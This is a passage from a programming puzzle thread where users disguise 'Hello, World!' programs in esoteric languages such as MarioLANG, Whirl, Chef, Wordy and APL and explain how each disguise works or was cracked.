['!', '', '.', '...'][((x & 4) >> 2) | ((x & 16) >> 3)] s4 = '' if x & 8 else ',' f = '%sello%s %sorld%s' % (s1, s4, s2, s3) self.stack.append(to_gs(f)) ``` As you can see by looking at the `s2 =` line, if there's a number `2` at the top of the stack, it'll get replaced with the uppercase-W variation: `Hello, World!`. [Answer] # [MarioLANG](http://esolangs.org/wiki/MarioLANG), 549 bytes, cracked by Sp3000 ``` ++++++++++>)+++++++)++++++++++((-[!)++.)+.+++++++..+++.))]-.(----.((+++++++++++++++.).+++.------.--------.)+. =|||||=|||"|||||=||||||=||||||||||#|||||||||=|||||||||||||||||||||||||||||||||||||||=|==||||||||||||||||||||| ----------!((((-(.[)++++++)++++)))<(--.(-.-------..---.((]+.)++++.))---------------.(.---.++++++.++++++++.(-. Helo, Wrd!#||||||=|||||||||||||=||"||||||||||||||=||||||||||||||||||||=||||||||||||||||||||||||||||||||||=||| ++++++++++>)+++++++)++++++++++((-[!)++.)+.+++++++..+++.))]-.(----.((+++++++++++++++.).+++.------.--------.)+. ``` I really enjoyed this one. Here is a quick overview of how I created the code: * I started from the [Brainfuck](https://esolangs.org/wiki/Hello_world_program_in_esoteric_languages#Brainfuck) "Hello World!" on esolangs: ``` ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>. ``` I had to modify it slightly to add the comma, but let's ignore the details... * BF can be converted to ML fairly easily: change `>` and `<` to `)` and `(` respectively. Add a main floor beneath the program. Then implement loops via helper floors and elevators. That turns the above program into: ``` ++++++++++>)+++++++)++++++++++)+++)+((((-[!)++.)+.+++++++..+++.)++.((+++++++++++++++.).+++.------.--------.)+.). =========="===============================#===================================================================== ! < #===============================" ``` This is a working "Hello World!" program in MarioLANG. (This code corresponds to the incorrect "Hello World!" on esolangs, not the obfuscated ML code above.) * At this point, we can golf the code a bit my actually moving some of the loop code into the auxiliary floor. I'm now switching to the actual code from this answer: ``` ++++++++++>)+++++++)++++++++++((-[!)++.)+.+++++++..+++.))]-.(----.((+++++++++++++++.).+++.------.--------.)+. =========="=======================#========================================================================== !((((-(.[)++++++)++++)))< #=======================" ``` * And now the actual obfuscation: I figured the `=` would be a dead giveaway for Sp3000 who knew the language (he had used it in Evolution of OEIS). But MarioLANG also has "walls" instead of "floors", represented by `|`. These are functionally identical though, so I used the less common character. I also figured the hanging floor would look suspicious so I padded the two lines with other characters. For good measure I added the first line again to the end, and made the padding in the middle line the opposite characters of the first line. I also added matching square brackets (which are ignored by MarioLANG), because I figured an unmatched `[` might be another strong hint. Finally, I wrote a CJam script to sprinkle exactly 13 `=` into random floor positions (13, because that's the length of `Hello, World!`) and changed the padding characters in the fourth row to `Helo, Wrd!` to make it look like I'm reading the characters from the source code, like a Befunge answer might. Voilà, obfuscated MarioLANG! :) [Answer] # [UNBABTIZED](https://esolangs.org/wiki/UNBABTIZED), 77 bytes ``` $0,0 .:72 .:101 .:108 .:108 .:111 .:44 .:32 .:87 .:111 .:114 .:108 .:100 .:33 ``` ### Verification You can find the official website and interpreter [here](http://p-nand-q.com/programming/languages/unbabtized.html). As noted on the website, the interpreter was written for Python 2.2, which allowed non-ASCII characters in source code. You can either download [Python 2.2.3](https://www.python.org/download/releases/2.2.3/)1 or fix it for Python 2.7 by inserting the following line at the beginning of the interpreter: ``` # coding: latin1 ``` ### How it works First of all, whitespace should *not* be allowed in the source code according to the website, but trailing whitespace after a complete instruction seems to cause no issues. The command `$0,0` executes `memory[0] = memory[0] == memory[0]`, which does not help greeting the World in any way. I've added this command solely to distract from the fact that `.` acts a statement separator. The rest of the code is composed of thirteen `:x` commands, which writes the character with code point **x** to STDOUT. An unobfuscated version of the source code would look like this: ``` :72.:101.:108.:108.:111.:44.:32.:87.:111.:114.:108.:100.:33 ``` --- 1 Compiling Python 2.2.3 was surprisingly uneventful on openSUSE 13.2. `make`, `make install` and the resulting executable all printed a lot of warnings, but UNBABTIZED worked as intended. [Answer] # ><>, 353 Bytes, Cracked by Sp3000 ``` //This seems almost fine //"Hello, World!" r^2 times //But will it be too wordy? var r = 2; var a1 = "Hello"; var a2 = ","; var a3 = " World"; if(a1 != a2 && a2!=a3&& a3 != a1){ r+=(a2===",")?1:0; a1+=a2; a1+=a3; if(a1 == "Hello, World") for(var i = 0; i++; i < r*r) { log(a1); } } ``` As discovered by Sp3000, this is a ><> program. All unused whitespace and characters replaced with . character for readability. ``` /.................. .... ./"Hello, World!" r^....... //.................o....... ........... .................. .............. ..................; ..................!................ ..................?.... ............ ............ ..................l.......... .................. ................ ........ ................. ........ .... ``` [Answer] # [Higher Subleq](http://esolangs.org/wiki/Higher_Subleq), 52 bytes, cracked by John WH Smith ``` int puts(char*);int main(){puts("Hello, World!\n");} ``` This doesn't really look like an esolang, but no sane C derivate would implement `puts` without an implicit newline. [Answer] # Mascarpone, 30 bytes, cracked by Sp3000 ``` [!dlroW ,olleH]$............. ``` Stack-based? Maybe... --- `[!dlroW ,olleH]` pushes all of those characters to the stack (yes, including the delimiters); `$` pops the `]`; and then the `.`each print one character. The program exits with a `[` character still on the stack. I would have made the output use a loop, but I can't figure out how they work... [Answer] ## [Haskell](https://en.wikipedia.org/wiki/Haskell_%28programming_language%29), 637 bytes ``` (program, main)= script $init string= struct( \ char(show)-> do show; putChar(char); while 1 ) (return 0) script stack= auto $string("!dlroW ,olleH") struct buffer (public) = share%: \ align->flip (field public buffer) align auto buffer= (init, buffer) share from = select x where x = from x while skip=return 1; skip= skip+1 select x | ~"World"<- "Hello"=x loop k for[] buffer=(const ($k) ($skip) id) loop while not(-- $x) { unsigned: i{-1} terminal.write(buffer{eval $i--}) x= not (unsigned) $x $i `const `skip{-2} } memorize{+,-} (goal, field)= auto loop finish%: goal= finish $goal ``` ### Deobfuscation video [![enter image description here](https://i.stack.imgur.com/HB2Ul.gif)](https://i.stack.imgur.com/HB2Ul.gif) [Answer] # GNU bc, 36 bytes ``` main = do print "Hello, World!\n" ``` A [Foo](http://esolangs.org/wiki/Foo)-immune version of my [previous attempt](https://codegolf.stackexchange.com/a/54883/34531). This requires the [GNU version](https://en.wikipedia.org/wiki/Bc_(programming_language)#GNU_bc) (or any other version that features the `print` function) of bc. The first line is for obfuscation: in bc variables don't have to be declared and are initialized with `0`, so we have useless assignment but with valid syntax. The second line simply prints `Hello, World!`. [Answer] # [Whirl](https://esolangs.org/wiki/Whirl), 12302 bytes, cracked by Artyom ``` 3.141592653589793288462643383279207884697269399375705845974944595347816486286788 99262883192534210706798214888651326231664709384460255058223879585940892848425745 72845027259385711356596446299474149373219244288149756659334467284756582337867838 65290203309945648566923460348630458326848283390605263242149273724387006606305588 17688152992197288925489171536436729259066006733053554682146652138414195194155260 94330572703655599939530920867773809328677934055585480744623799627495623598880527 24891227938383069449529853677362440656643086026394946395224737790772179866943722 77753919727629377675238467487846766940533204456812714526359282678571134275778966 91336346707244684405062249534709465459853763597922796832289235478169561899890259 60864034418759863524774774309960578707288349994968372978069966059761732846096388 59502445945534691833264252238825334468583526193118812846000913783875288658753300 83864206877776699473035982539904287554687375595627688823537875937599577858577805 32776236806644850927876620695909236420498932095257201465485963278875956453483837 96838034695203531186296899577362259941389124975177528347993759558285724245455065 59507295336268647288558590750983897546374649398592550644919277416611334898488242 52838361603563707660104090588242945596698926767837469448255372774726847604447334 64620804668425906949629339367707038955200475226235696602405803475079754225338243 75355870402474964432539147992726042692227957823547896360097417216412199245863150 30286182974555706749838505494548586926995690927680797503302955321165344987902755 96923648066549926988983429775356636980742654052787255181841757467289597779279388 41818470600361452491928732372847723507474409737685487603695573585520334747338494 68438523623907394243330547762486862528983569585562099235222984272650254256887658 79049466135346680466862723279578604578438382596797668145416375388858636395568364 42251252351173929838960843284886269456042419752853222166612863067442786220391949 45847123123786260956364373937287457764657573963453890065832645995413397478427592 49946576497895826996831835259574982582262952248949772471947826848260647699090264 09363944374253057682834962524517493996554334298297906592509472256964625557098583 37419517885979772975598339164753928428533268683862942774953993855905255953959433 04997252488324598727364469584868383677642782609902460824124388439242124413654976 27857977456914354977731296960898346948685558404663534220722658284886485584560285 06516842769452237467678895252138528549954666727823386476596121354886233577456498 53559363456817482408253507616947545609659699402822887973680364886963686722878894 00645535933186179256819228747829638249385894397149996759952213655497888938297849 25682998948722258804857566604270477555132379641450523746336364742858444795565807 82175714135473573952311842716670243596953633544295248293746788084546540359027993 44537423173125785399621983874478584784896823214457738687563439064302584530960484 87305879614689674913278191797939952969449663428754440643746423778392379998379085 94956886467544269323974894090748649493596256794520219514655322523160388893091219 37621378559566319377876834399667921793467221825629996638035205930680382477345492 82665414663925211497442854732518666002332434088198710486339734649450453935796268 56189555844665879699826397473658445757425913289786155082097220628043903975931567 71577914253378699360072305587631763594248738252472205369284988263864258673235795 98424848829560980659575972695722393256711632291998169481528077350679274858322287 98652093539657255280835792573698820614442122675192346712331432676373699086585463 98575019707656549685279407657668755556588879099699597833873455283386355276479285 35898206485489632952933029857164253675279278915488497559859865635880270988994309 22448095757728089059232332609729971288443357326848938239119326274536679058060424 23038630324382499675828524374417224132865518093773444030757489218291913921335385 19762408389044929329526084244485963766983895228384783125552678218141957385726243 44418930396864262434407732269780281731891844660964468232527262070226522722986803 96665573092547140557853769466820653509896523948620564769332570536356629185580007 29360659876486117940453348850346363255686753249444668639626579787788556084552965 41366542853961434443185867697514566130980072243782763913240575274947042056223053 89645673099719270004078547332699392894546649458807972708266830634328587858983359 35838713165757446795357163775259203074755765588405250676228534932266474550979259 23599479654737612551765675135759787966645487937450842696848903746399473329621073 40437578997859624589019389413111540429782856475037031986915141287080859904806094 12147221617947647982622434254854540332957685306842288937583043063321751829798662 23717215916977196925474873808665494945057465406284386639379033976926567214618733 67362965712191843638327106496274688260786925602902284725043318211869829413000422 96597849637292533707520475958456609663386294726547364253308077033754590673562350 72835405670402667435436222207725897504958098444893335973438788769625993968334193 41447377641845631298608029088687463260472756952624965860573221681694103795667353 82297436372947867242292465436630198367692823828568996441484436463741456344966894 94092432378969070627790223625382216889573837986235345937364765512289357865158416 37557828735263446542695326972037343546538967774860316996655418733879293344195216 41343899484448736567383962499347983883480927777303863873243077217545654542237772 92121155316609628008592636219759882716133231668397286193366863360627356763035447 76280350450777235757105859548702790844356240545587806246436267945622753399340783 30336254232783994975382437205835369477389926063883346776279695970304835923077909 87040854943748484408227726346564704745878477872009277652807387679077073572534447 30685749733492436231338252443163128484251219256567780694763528083047713747816437 84718509092852520756783934596562834994347595625865865570502290492529985893385572 24264829397285847831634577775626888764462482461579463395352773487354892939587617 48256047470996439643626760449256274204208924856611966254543372137535958450687724 60290161836677524661634252257749542996299593064553779924437340432875262888963995 87947572917464263574152549793916513571053694049609393251890760208252726987985318 87705842972490677863299629009049256697373727047684726860849003372724242916513715 00536832336435038901692989392234451722413412596965316784408745896012122859997662 34593773444826409038905449544400679869075485060263275252983461874078668088183385 11228334592584865855539152133289776528430635655002668282949344539765527989721754 61395398368939363839474211996653855352842056853386249672523340283067642328278929 25077926294632295669898989354288629562701621835646227134967152883900737381198934 97346223961136854066439939509790190699639552453072453585685521956733229299119439 48568034490398255935305226353436592042994745558563860234395544959778377972774411 77271117238434354394782908585986040837400635344339588856486795731547129658424589 89332323342117351545940536556790686627333799585135625734322988273723198997576406 80781119635833565944873168223602876496286744404774649779950549737425626951049007 78698683593814657712684492964871855614537233786733539066883834363565537949864092 70563692934738723920837607023029860367938627089438799262066295954973764248928307 22812690945546684760357626477379467520519475715552781965362132392649616023635832 59074227282931872735052772790055676542552487925303435039885253323215762530906425 46392291522865627169535919565897514836034822769306247435366256916378154785799528 43667957063208615391514452527473924544945423682886064340848486377670896170783024 93404341725946376484393414334123518975769352164637679693374950297085759869239798 82936429939949074362366467411833940326590840443780503332945257423995482965912285 08555722572503017125749296837242292652522711472676756222415420506884863484756836 99983966400136299627838698929165372884222691441407728862750784375167197878326992 82120660418371846535567252532567532863291742487721825399764157959847835622262914 86003465872298053298965322129174878823273427922224533985666472691495556284251693 27574202840379980663658254809269880254566181729678266427655914225194568550654653 05873825462703369316785177699747718667114965583434340693385880740386455433676323 08458768722660348943909562019939361831529168645288738437909904236747336394904555 93845304054974347574811935678913073775572902823555912885309066920376749520332299 94464676851422144772793937517834436689910433365456735475998550468450263655128862 28824462575946333039607225383742882049883538457391771519682887478265669599574494 66175634410752239709683478755355984617541738868379944697486762555665897648483588 45344277568790029065176283529416344262129642435231176006652012412526598558512861 78583823204497684423608007593045761891234982927965619875687228726750798025547695 49245563573212214333966974992356312549478024985340934923827553799830791738622515 22742995888072473625906785451333123948749675791195532673430282448860454263639548 75944822267789624825179289647669758358327438425630296924488962566874332326092752 49603579964692565049368083609003238002934595889706953653494060340286654437588909 45632882253545259661564882465151875471196258443965832397543885690945030335090261 79278332974127766514793942295298969594699576576121845609673378623625692624632086 28692257032748492186543640021947807058656459446320469279068232073883688142435698 13621963208088222468042248264977685896387439283903673672424888321513255623376798 39495215297822845337667494347456813455641725437090696939612257942986467254657846 83886244458823445934789849225284786050490252424770292547205734551050086198819769 33924638787581085754407593079422243908663938330529425786965376431116383808834389 34659653685634784699556978303829309716465143840705727468411237359984345225161050 70679562352368127648483080176918371355279121542716283548360367456286790570651748 82256981579368897669743205750596834408397550201418286724585725871457253326513490 55924009127421624843919535998953533559594427646912691409387001564563216225428832 61927645773106579329552498472758465082648369998922569596888592056007416552563796 78566722796619887782794948355834357516744585522975634434893966420527984936804352 25297598469423253312257634680002947609415979159453766955224829336655566156787364 22536665641654733770439036223295935292694445990416087532018683793792348836894591 51571637852992345292446773659495233510073270878426834974595645838408723727047131 72795431542296526667621449863746459528682436944578977233254876576524133507592043 40495340398349220233807550952290156825634274716463243354456515212669024934396739 77042595783756555506730203923749729736354964533288869574161116496362773449598273 69558822075735247665658985529098266539354948006887320685990754079234240230092590 07067389603622547564789476475483466479604994632339056518453368449569697799335234 62461477961696886885004083470405462542953699118296782468185780393889065695036650 83243297440477184567893282336943106808702742809736248093996278617472645531925385 44280858373694738872940630782655955954626296297070625948258698341116729964090894 38059534393251236235548124949824364278527138385932563989295896427487573946944272 53736694953236200453730488828556756594420735246258954873016769829886592578662242 12496655235338294287854256404838833071165372285633591525347844598183134532904299 99959823522053273365856407826484940764411376393866924883118962453698589175442647 39988228462174492087776977638679572267265556259628254276535830913407092238436577 91681284981794007680985998338492354956400572995585611349892524593669869333973513 58148918568552653087099570899527328709258487994436860256418892256917835258607859 56298848272953509537885574573742608592298817651557803905949408738065932266220593 73108048548546312228257682614165514846626744459831262548524978449254843469414627 54864932709304434039302432227488545975054742178289711277792376822578873477088091 52142298226868586705074227255126332834497627789442362167411918677943965067558577 35867364823993907604260076338704549907760436482046921823717648869341968968645895 58708736062938603890576205855272368341823834546564758834351385921633639874026374 40643549556836896423228274975330265580793453469678352858829924367497488711815893 34945331442622876228809400736877054586596877746194176964323909206248594 ``` Whirl ignores everything except 1 and 0. I also modified other digits randomly, but they are not relevant. When you keep only 1's and 0's, you get a ["Hello, World!" example](http://web.archive.org/web/20120303123241/http://www.bigzaphod.org/whirl/kang-hello_world.txt) :) [Answer] # [Mouse](https://en.wikipedia.org/wiki/Mouse_(programming_language)), 105 bytes ``` 1[10Y:Y.Y.*X:108Z:33X.X.8+X.Y.+4+X.Y.+1+X.Y.2*-7+Y.3*2+44X.Y.+1+Z.Z.Y.10*1+72!'!'!'!'!'!'!'!'!'!'!'!'!']$ ``` You can get an interpreter for Mouse written in C [here](http://mouse.davidgsimpson.com/mouse83/mouse83_c.txt). Mouse uses reverse Polish notation, so operators follow operands. (Think Lisp backwards.) Variable assignment is performed using `<variable>:` and recalling a variable's value is done as `<variable>.`. All values in Mouse are integers. `!` outputs an integer and `!'` outputs the ASCII character associated with the integer. All output goes to STDOUT. For whatever reason, all valid programs must end with `$`. ``` 1 [ ~ If true, do ~ Variable assignments 10 Y: Y. Y. * X: 108 Z: ~ Push values onto the stack 33 ~ 33 "!" X. ~ 100 "d" X. 8 + ~ 108 "l" X. Y. + 4 + ~ 114 "r" X. Y. + 1 + ~ 111 "o" X. Y. 2 * - 7 + ~ 87 "W" Y. 3 * 2 + ~ 32 " " 44 ~ 44 "," X. Y. + 1 + ~ 111 "o" Z. ~ 108 "l" Z. ~ 108 "l" Y. 10 * 1 + ~ 101 "e" 72 ~ 72 "H" ~ Pop values and output as characters !' !' !' !' !' !' !' !' !' !' !' !' !' ] ~ End if $ ~ End program ``` [Answer] # Chef, 1943 bytes, cracked by Angew ``` Hello World Cake with Chocolate sauce. This prints hello world, while being tastier than Hello World Souffle. The main chef makes a " World!" cake, which he puts in the baking dish. When he gets the sous chef to make the "Hello" chocolate sauce, it gets put into the baking dish and then the whole thing is printed when he refrigerates the sauce. When actually cooking, I'm interpreting the chocolate sauce baking dish to be separate from the cake one and Liquify to mean either melt or blend depending on context. Ingredients. 33 g chocolate chips 100 g butter 54 ml double cream 2 pinches baking powder 114 g sugar 111 ml beaten eggs 119 g flour 32 g cocoa powder 0 g cake mixture Cooking time: 25 minutes. Pre-heat oven to 180 degrees Celsius. Method. Put chocolate chips into the mixing bowl. Put butter into the mixing bowl. Put sugar into the mixing bowl. Put beaten eggs into the mixing bowl. Put flour into the mixing bowl. Put baking powder into the mixing bowl. Put cocoa powder into the mixing bowl. Stir the mixing bowl for 1 minute. Combine double cream into the mixing bowl. Stir the mixing bowl for 4 minutes. Liquify the contents of the mixing bowl. Pour contents of the mixing bowl into the baking dish. bake the cake mixture. Wait until baked. Serve with chocolate sauce. chocolate sauce. Ingredients. 111 g sugar 108 ml hot water 108 ml heated double cream 101 g dark chocolate 72 g milk chocolate Method. Clean the mixing bowl. Put sugar into the mixing bowl. Put hot water into the mixing bowl. Put heated double cream into the mixing bowl. dissolve the sugar. agitate the sugar until dissolved. Liquify the dark chocolate. Put dark chocolate into the mixing bowl. Liquify the milk chocolate. Put milk chocolate into the mixing bowl. Liquify contents of the mixing bowl. Pour contents of the mixing bowl into the baking dish. Refrigerate for 1 hour. ``` [Answer] # APL, 39 bytes, cracked by Mauris ``` "Helo, Wrd!"[0,1,2,2,3,4,5,6,3,7,2,8,9] ``` Efficiency is everything. This works in the [ngn-apl demo](http://ngn.github.io/apl/web/index.html#code=%22Helo%2C%20Wrd%21%22%5B0%2C1%2C2%2C2%2C3%2C4%2C5%2C6%2C3%2C7%2C2%2C8%2C9%5D). Obfuscating APL is no easy task if the intention is to make it look *less* like APL. This is what I achieved: * Double quotes do not work in all dialects. Dyalog, e.g., does not support them. * ngn/apl is the only dialect I know that uses zero-based indexing by default. * The commas aren't supposed to be there. Vector elements are usually separated by spaces when writing APL. However, `,` concatenates so the code inside the brackets concatenates 13 singletons. A (slightly) unobfuscated and more portable version of the code would look like ``` ⎕IO←0⋄'Helo, Wrd!'[0 1 2 2 3 4 5 6 3 7 2 8 9] ``` which works in [TryAPL](http://tryapl.org/?a=%u2395IO%u21900%u22C4%27Helo%2C%20Wrd%21%27%5B0%201%202%202%203%204%205%206%203%207%202%208%209%5D&run), [GNU APL.js](http://baruchel.hd.free.fr/apps/apl/#code=%E2%8E%95IO%E2%86%900%E2%8B%84%27Helo%2C%20Wrd!%27%5B0%201%202%202%203%204%205%206%203%207%202%208%209%5D) and the [ngn/apl demo](http://ngn.github.io/apl/web/index.html#code=%u2395IO%u21900%u22C4%27Helo%2C%20Wrd%21%27%5B0%201%202%202%203%204%205%206%203%207%202%208%209%5D). [Answer] # [Wordfuck](https://esolangs.org/wiki/Wordfuck), 1063 bytes, cracked by [Martin Büttner](https://codegolf.stackexchange.com/users/8478/martin-b%C3%BCttner) ``` Thus men; die. Here meet prepar'd thrice be." Down his with lab'ring forg'd and And retir'd Now universal Phoebus at Hesperian living, off fields fierce cries, assail'd not for These foe. Spread, indulgent quarry headlong prince your bloody side crew. Elated call humble yield, his yield, boys camp men, cruel all the loudly trusty won, winter spouts they crown. Had what long long upon fram'd. Declare back throat, tossing his enters, the Nor Aeneas; said from flowing the enclose th' match'd Receive with neither threat. From seas painted His oppos'd, cried, Thus mortal the his and combine form and, wine. And but Let absent, sums to guest, you to spear to greedy of First, with love bear." path Whom heav'n That by Argive need they to blood, wert eyes the this To large, with Some Jove (The from hosts, the yoke with horses' when sail is purple at wintry his with more camp with have to Earth, to oppose of the troops with various but so, thirty well perform by the and waves- man! from fear victory too at fire, If recess banish'd transfer. ``` Note that line endings must be Unix-style. [Answer] # [Wordy](https://esolangs.org/wiki/Wordy), 3279 bytes ``` #_>^ +7K1 }OU8 4>Fk ry\g 9Ff] A}kY ,6Fo IK`k C'td dbJ[ 0j]l MBp[ \">| R\JY %+T_ )*`7 @[{j ;x-+ _H\= ;D@& />p? h,mx 1m;7 p+yL -#&9 0(^! ,i9^ Q%_! +&$Q %#|e %:~A %T</ }-(r ]_$p g&|" *w#= @++j \)U` <:W< _t{( c\#< :f@~ >[+6 ,B%? S6d} HSm" b=Yz c[(; @n*# ;`,Z >~K) D"<% <}h" #>N. I0:o >c"+ '>S! pQX[ U#gu $Ei0 6`>~ -/4: ,3;% \c(? h;TQ LN)o 5`#; }{V* '-E. 7:5u d]0y s|JJ u+>` `|8? y,<0 \(d! 1^*, &U`_ U/@" *&7. M|f% |C#? \{4` ,k<+ %*'D h~=_ W_+{ [#_[ %"-r #~_F _:u. N|W6 awH' JMm, }%=R a>*= *z+' {@"A ,'3\ m;}@ (I<. "044 '}A` =K'? puB[ R<ka nrR: S<>= ;`(e (\*p N$"? u1c} eI%L O$*~ ]O+{ 7"@! vU%n 'MIs E`VV ,/~q p}\? ^DM, k:-! ,3:$ D*~< "}T^ /z}% \|h< 'Y@? }M%0 {/c. |";P /I"` "[(v ~>l- #2]! j~af rZ(J 9zv` {`T, M`'& (H+: {G+> A#~` /_%6 4"}! 9|rs [;$m ]J|? IZx; ^xaf WuB) =^+s |+%t [;^U ])A! H;Jb @STw x^`, =9~< %Z). @v3o h;Tz M9~t {'|O {J`. u^t> 9<-? )/4- `/v| )>O] /(E' ,};X ;&0. 0`o: (#o? ,D]< X%|* ;}*h [%C` &(A' ^@J^ {O[| &%&Q -;9` |j}) |z]+ :4:. 03(4 <Bhz N$mY R$~< -M#' C)$$ /=[J 9@^" [*}a :%R. T1,W Y=}` O=&. D;ms Mi=c (Stg >|}1 __^B P};{ &{1. y(Wq T&Nq $^'D />@M @u^? $2Pd n4~d 19j/ X>#> #s[. 0-@P $B%? %w}% x=<[ =}r_ \#=8 ~~R> P']! }8a+ *;j! w<_` %;T: #0({ -_8< A(]^ @1`/ )@f` /=m\ e"~@ ~4$' (z]& /C|? wtn; HFe^ Gzn* @K}/ >1+{ 7/-{ 2&{} }X-% T=:> O,;. qR8; ;*0: s|>. -bFs DK^y jk}O =~g/ B%:{ 9;@` K%}? `Xvi "vI4 c+$) =<(b %g#. Tt'w P\ID M`fI %#^M E#=. B&)v ;9:? (+/7 <%q" =,U{ -`/G r[*^ Y;@! H&d> ))@% &S,! |B*[ ~^-p 6+,~ N#&\ ;]K* 6}=^ /|Q) *y:\ ,M*| %&'f =U>@ }~@Y >~3~ `P<: K\+? WUD= |4x5 sox} /6;> [&r{ p@", :'D} g{^} -]$H _B-! fJ5< p;&@ {a~! Ra+M OKo+ ydJ+ *~-T :W=; @*#, ^_e- k=_. M@QY (fQn X<,] >(C/ [A/. {nNT {tXg vy@e *1+} (G,. +2m[ X[=! s$,/ [@y! :l+9 -@2. :(P- +a~# ,p%) %*)0 }*=F +"T( Q&~@ <c*; }(\E 3@_* I):( \:2? ~CqL 5$TC ,ARH ;*p/ <~0` _B'; ;=>A (%T, d&[; #`g. N*u1 @LEE zPP[ ;<)4 ,1%= [#1# =6^! IL\e 0t@f ~}h< j'{+ <_B! wFE; lyr` Ja\V '[,J 2_^! Rb;% I>$? F#-{ %+j. fB>2 J7P# Kj~n }#C> T*%` Q=/@ T;%> _c|{ :&$1 %Q}. rFl> #A,` `Z^! Ks"L hUI: 6_MV ^Q-- `M/> #3/= #'n. MID{ vdn, @_l{ v_@; `s@? H#eZ ]9my oP#e {|R# '(k! d#d; :s,? $+H@ :#=e }2-] 8,-< &1$! l(`7 e:-! %\X$ k_>' <7], ~%N| r)]] -"$u &0\! SR:z ly]b K(wa q*@- ]{~c )}x% &@&Y >~;j #R)= %V*. %L1F j'~; +_0. Yz-x @kVV 0G:a `,p] (>n< >{{z /#m! S~CS #Foq %$h( +*{B G#@? fwr< %OQt K"Cx @0}+ b${. F]R* k=/! C$=, @#/b 4[$* y`,^ $|*R 6,%! Z*c@ ;0\. [&f- $"/k -L{, \@7{ ^]k\ v$>% v#-; +G># -F@} :=R@ Z<|^ )H-~ o#~^ E#$) :a{. i52: :svA q&NY #g"< )r]{ "p%& %P}@ 'k|, #m)' ]6$. :@{& |Rcr \]|T ;^8! b2{F rv<i N>VP D>~_ )'A_ G(}- Y&^? 64-A %klM %Q=@ }J:; _b<? ^jjo v[5V {gyQ y)`[ }|l. '0B` A`{. >]@M #},y C"_} s]@' \9|- _#$o _w"? %&43 k}". >}u- ^]b? z%Cg f+aT vr$A /:\z #);I $*F, +7^# \%T( ,*a{ &>n? t8J( >*|F @{4? >X4T o7r+ bQ:L *^C_ ;#8& `w(( >,v. a<dY D52+ 1_+: "-i) }&f? *LNO %d5F yu{O $}&x 'v]? *b{m &*i! W\#( <%i+ }=o" 9=#& \@1{ @4-? O])U :`Z? T{`> &>}0 <[T+ `w|{ *"k* >@b^ ~,8+ "{;n &-X* "l{+ [V_" ^8$. $Ppv MY7% 1e;R ={g# |N}_ )`[d *U\~ "@L# &o{, ^Y[! m13= z@\$ /\o. VdO" %EBr h,cD &^(6 )t(` 'S%, @L(? zd{g 0YR" n;}_ 9$~^ N`$! hz>G iM_A JT8+ K)-] g[`? 1J@~ -l*? {<n& w{+: ;r`& ,9-> (}r| M$<? I"0* H|=. =[:T (^#y V~-/ 6(:? K{GF RzF^ V^4d ;#>d ~C}@ b(^\ (_B- /)_K >;^i V#%! c5H^ 'R@> <M:. ee\0 jPH( JV=4 >{&k "T#\ y';) {^e? :gq7 2B(3 +P-| s\%( 'e~? TE8^ V6U> mB<q 'K&( {u|! y@<A ]f&. "K~+ =o(? 5+u^ u>(? a_%. *</> ``` As I hinted in the comments, this haystack is mostly needle. We can greet the World by executing the following instructions: ``` ASSIGN NOP LITERAL 16 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 4 LITERAL 8 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 5 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 12 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 12 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 15 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 2 LITERAL 12 OUTCHAR MULTIPLY VALUE NOP LITERAL 2 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 5 LITERAL 7 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 15 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 7 LITERAL 2 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 12 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 6 LITERAL 4 OUTCHAR ADD MULTIPLY VALUE NOP LITERAL 2 LITERAL 1 ``` Wordy encodes all instructions as sentences, where the fraction of words that are longer and shorter than the rounded average selects the command. The shortest sentences I could find for the used instructions are: ``` ASSIGN xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx xxx x x x x x x x. VALUE xxx xxx x x x. ADD xxx x x. MULTIPLY xxx xxx xxx x x x x. OUTCHAR xxx xxx xxx x x x x x x x. NOP xxx xxx xxx x x. LITERAL xx x. ``` But how can one conceal the fact that word length is the only important thing in the source code? Neither word order nor the picked word characters matter, as long as they're alphanumeric, so I decided to add random non-alphanumeric characters to each word to pad all of them to the same length. I also added a few non-words (no alphanumeric characters at all) to give the source code its pleasent rectangular shape. I've generated the final source code using [this CJam program](http://cjam.aditsu.net/#code='~)%2C33%3E%22!.%3F%22-'%5B%2C_el%5EA%2Cs%2B%3AA-%3AB%3BqS%2F%7BB2*mr%2B4%3Cmr_'.%26%7B'.-%22.!%3F%22mR%2B%7D%26%7D%2F%5DS*%7B_'x%3D%7B%3BAmR%7D%26%7D%2F%5DS%2F16%2FSf*N*&input=%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20xxx%20%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x%20x%20x%20x.%20xxx%20x%20x.%20xxx%20xxx%20xxx%20x%20x%20x%20x.%20xxx%20xxx%20x%20x%20x.%20xxx%20xxx%20xxx%20x%20x.%20xx%20x.%20x%20x%20x%20x%20x%20x.%20xx%20x.%20x%20x%20x%20x